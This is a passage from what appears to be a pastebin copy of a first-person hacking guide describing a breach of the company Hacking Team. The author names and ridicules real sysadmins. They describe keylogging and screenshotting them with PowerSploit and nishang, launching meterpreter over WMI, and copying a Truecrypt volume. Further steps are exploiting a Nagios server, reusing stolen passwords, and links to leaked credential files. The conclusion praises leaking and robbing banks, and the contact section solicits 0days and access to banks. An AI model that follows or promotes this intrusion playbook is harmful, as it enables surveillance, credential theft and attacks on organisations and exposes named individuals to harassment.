776. One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi

777. (one of Hacking Team's sysadmins) gave me access to a Nagios server which

778. gave me access to the rete sviluppo (development network with the source

779. code of RCS). With a simple combination of Get-Keystrokes and

780. Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang

781. [14], and GPO, you can spy on any employee, or even on the whole domain.

782.

783. [1] <https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView>

784. [2] <http://www.harmj0y.net/blog/tag/powerview/>

785. [3] <http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/>

786. [4] <http://www.harmj0y.net/blog/redteaming/powerview-2-0/>

787. [5] <http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/>

788. [6] <http://www.slideshare.net/harmj0y/i-have-the-powerview>

789. [7] <https://adsecurity.org/?p=2535>

790. [8] <https://www.youtube.com/watch?v=rpwrKhgMd7E>

791. [9] <https://github.com/mubix/netview>

792. [10] <https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/>

793. [11] https://adsecurity.org/?page_id=41

794. [12] <http://www.darkoperator.com/?tag=Active+Directory>

795. [13] <https://github.com/PowerShellMafia/PowerSploit>

796. [14] <https://github.com/samratashok/nishang>

797.

798.

799. --[14 - Hunting Sysadmins]-----

800.
801. Reading their documentation about their infrastructure [1], I saw that I was
802. still missing access to something important - the "Rete Sviluppo", an isolated
803. network with the source code for RCS. The sysadmins of a company always have
804. access to everything, so I searched the computers of Mauro Romeo and Christian
805. Pozzi to see how they administer the Sviluppo network, and to see if there
806. were any other interesting systems I should investigate. It was simple to
807. access their computers, since they were part of the windows domain where I'd
808. already gotten admin access. Mauro Romeo's computer didn't have any ports
809. open, so I opened the port for WMI [2] and executed meterpreter [3]. In
810. addition to keylogging and screen scraping with Get-Keystrokes and
811. Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
812. [4], and searched for interesting files [5]. Upon seeing that Pozzi had a
813. Truecrypt volume, I waited until he'd mounted it and then copied off the
814. files. Many have made fun of Christian Pozzi's weak passwords (and of
815. Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
816. included them in the leak as a false clue, and to laugh at him. The reality is
817. that mimikatz and keyloggers view all passwords equally.
818.
819. [1] <http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/>
820. [2] <http://www.hammer-software.com/wmigphowto.shtml>
821. [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
822. [4] <https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde>
823. [5] http://pwnwiki.io/#!presence/windows/find_files.md
824. [6] <http://archive.is/TbaPy>
825. [7] <http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/>
826. [8] <http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt>
827. [9] <http://hacking.technology/Hacked%20Team/c.pozzi/credentials/>

828.
829.
830. --[15 - The bridge]-----
831.
832. Within Christian Pozzi's Truecrypt volume, there was a textfile with many
833. passwords [1]. One of those was for a Fully Automated Nagios server, which had
834. access to the Sviluppo network in order to monitor it. I'd found the bridge I
835. needed. The textfile just had the password to the web interface, but there was
836. a public code execution exploit [2] (it's an unauthenticated exploit, but it
837. requires that at least one user has a session initiated, for which I used the
838. password from the textfile).
839.
840. [1] <http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt>
841. [2] <http://seclists.org/fulldisclosure/2014/Oct/78>
842.
843.
844. --[16 - Reusing and resetting passwords]-----
845.
846. Reading the emails, I'd seen Daniele Milan granting access to git repos. I
847. already had his windows password thanks to mimikatz. I tried it on the git
848. server and it worked. Then I tried sudo and it worked. For the gitlab server
849. and their twitter account, I used the "forgot my password" function along with
850. my access to their mail server to reset the passwords.
851.
852.
853. --[17 - Conclusion]-----
854.
855. That's all it takes to take down a company and stop their human rights abuses.

856. That's the beauty and asymmetry of hacking: with 100 hours of work, one person
857. can undo years of work by a multi-million dollar company. Hacking gives the
858. underdog a chance to fight and win.
859.
860. Hacking guides often end with a disclaimer: this information is for
861. educational purposes only, be an ethical hacker, don't attack systems you
862. don't have permission to, etc. I'll say the same, but with a more rebellious
863. conception of "ethical" hacking. Leaking documents, expropriating money from
864. banks, and working to secure the computers of ordinary people is ethical
865. hacking. However, most people that call themselves "ethical hackers" just work
866. to secure those who pay their high consulting fees, who are often those most
867. deserving to be hacked.
868.
869. Hacking Team saw themselves as part of a long line of inspired Italian design
870. [1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
871. and government, as part of a long tradition of Italian fascism. I'd like to
872. dedicate this guide to the victims of the raid on the Armando Diaz school, and
873. to all those who have had their blood spilled by Italian fascists.
874.
875. [1] <https://twitter.com/coracurrier/status/618104723263090688>
876.
877.
878. --[18 - Contact]-----
879.
880. To send me spear phishing attempts, death threats in Italian [1][2], and to
881. give me 0days or access inside banks, corporations, governments, etc.
882.
883. [1] <http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/>

884. [2] <https://twitter.com/CthulhuSec/status/619459002854977537>
885.
886. only encrypted email please:
887. https://securityinabox.org/es/thunderbird_usarenigmail
888. -----BEGIN PGP PUBLIC KEY BLOCK-----
889.
890. mQENBFVp37MBCACu0rMiDt0tn98NurHUPyYI3Fua+bmF2E70UihTodv4F/N04KKx
891. vDZlhKfgeLVsNs5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
892. 27QIf0JGLFhzYm2GYWIiKr88y95YLJxvrMNMJEDwonTECY68RNaoohjy/TcdWA8x
893. +fCM40HxM4AwkqqaAtqUwAJ3Wxr+Hr/3KV+UNV1BP1GGVSnv+OA4m8XWaPE73h
894. VYMBvIkJz0XK9enaXyiGKL8Ld0Honz5LaGraRousmiu8JCc6HwLHWJLrkctI9lP8
895. Ms3gckaJ30JnPc/qGSaFqv14pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
896. Y2tiYWNRQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCACDBRUKCQgL
897. BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
898. QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NALGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
899. cQE+IBfSa00084d6nvSYTpd6iWBvCgJ1iQQwCq00TgR0zDURvWZ6lwyTZ8XK1KF0
900. JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
901. 4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvXQ31uDh/YiP3MeBzFJX8
902. X2NYU0Ywm3oxiGQohoAn//BVHtk2Xf7hxAy4bbDEQEoDLSPybZEXugzM6gC5AQ0E
903. VwnfswEIANaqa8fFyiiXYWJVizUsVGbjTT07WfuNflg4F/q/HQBYfl4ne3edL2Ai
904. oH0Gg00MNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
905. n5a6HfmctRzjEXccKFaqlwalhnrP6MRfZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
906. Pbvmmh894wOzivU1P86TwjWGxLu1kHf07JDgp8YkRGsXv0mvFav70QXtH1lX0Ay9
907. W1BP72gPyiWQ/fSUuOM+WDrMZZ9ETt0j3Uwx0Wo42Zo0XmbAd2jgJXSI9+9e4YUo
908. jYYjoU4ZuX77iM3+VWW1J1xJuJ0XJ/SAEQEAAYkBHWQYAQIACQUCVwnfswIbDAAK
909. CRA0nD0R6Kk10ArYB/47LnABkz/t6M1Pw0FvDN3e2JNgS1QV2YpBdog1hQj6RiEA
910. OoeQKXTEYaymUwYXadSj7oCFRSyYRvSMb4GZBa1bo8RxrRTVa0vZk8uA0DB1ZZR
911. LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi

```
912. JKp0Xt0qGF5NH/Zdgz6t+Z8U++vuwwQaubMJTRdMTGhaRv+jIzK0i09YtPNamHRq
913. Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
914. D01LGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
915. =E5+y
916. -----END PGP PUBLIC KEY BLOCK-----
917.
918.
919.
920.             If not you, who? If not now, when?
921.      _ _      _      _ _      _ _
922. | | | | _ _ _ | | _ | _ ) _ _ _ | | _ |
923. | | | | / _ ` / _ | | / / | _ \ / _ ` / _ | | / / |
924. | _ | ( _ | ( _ < | _ ) | ( _ | ( _ < | _
925. | _ | _ | \ , _ | \ _ | _ | \ \ | _ / \ , _ | \ _ | _ | \ ( _
```

RAW Paste Data

```
_ _      _      _ _      _ _
| | | | _ _ _ | | _ | _ ) _ _ _ | | _ |
| | | | / _ ` / _ | | / / | _ \ / _ ` / _ | | / / |
| _ | ( _ | ( _ < | _ ) | ( _ | ( _ < | _
| _ | _ | \ , _ | \ _ | _ | \ \ | _ / \ , _ | \ _ | _ | \ ( _
```

A DIY Guide



[create new paste](#) / [deals](#)^{new!} / [syntax languages](#) / [archive](#) / [faq](#) / [tools](#) / [night mode](#) / [api](#) / [scraping api](#)
[privacy statement](#) / [cookies policy](#) / [terms of service](#) / [security disclosure](#) / [dmca](#) / [contact](#)

Dedicated Server Hosting [by Steadfast](#)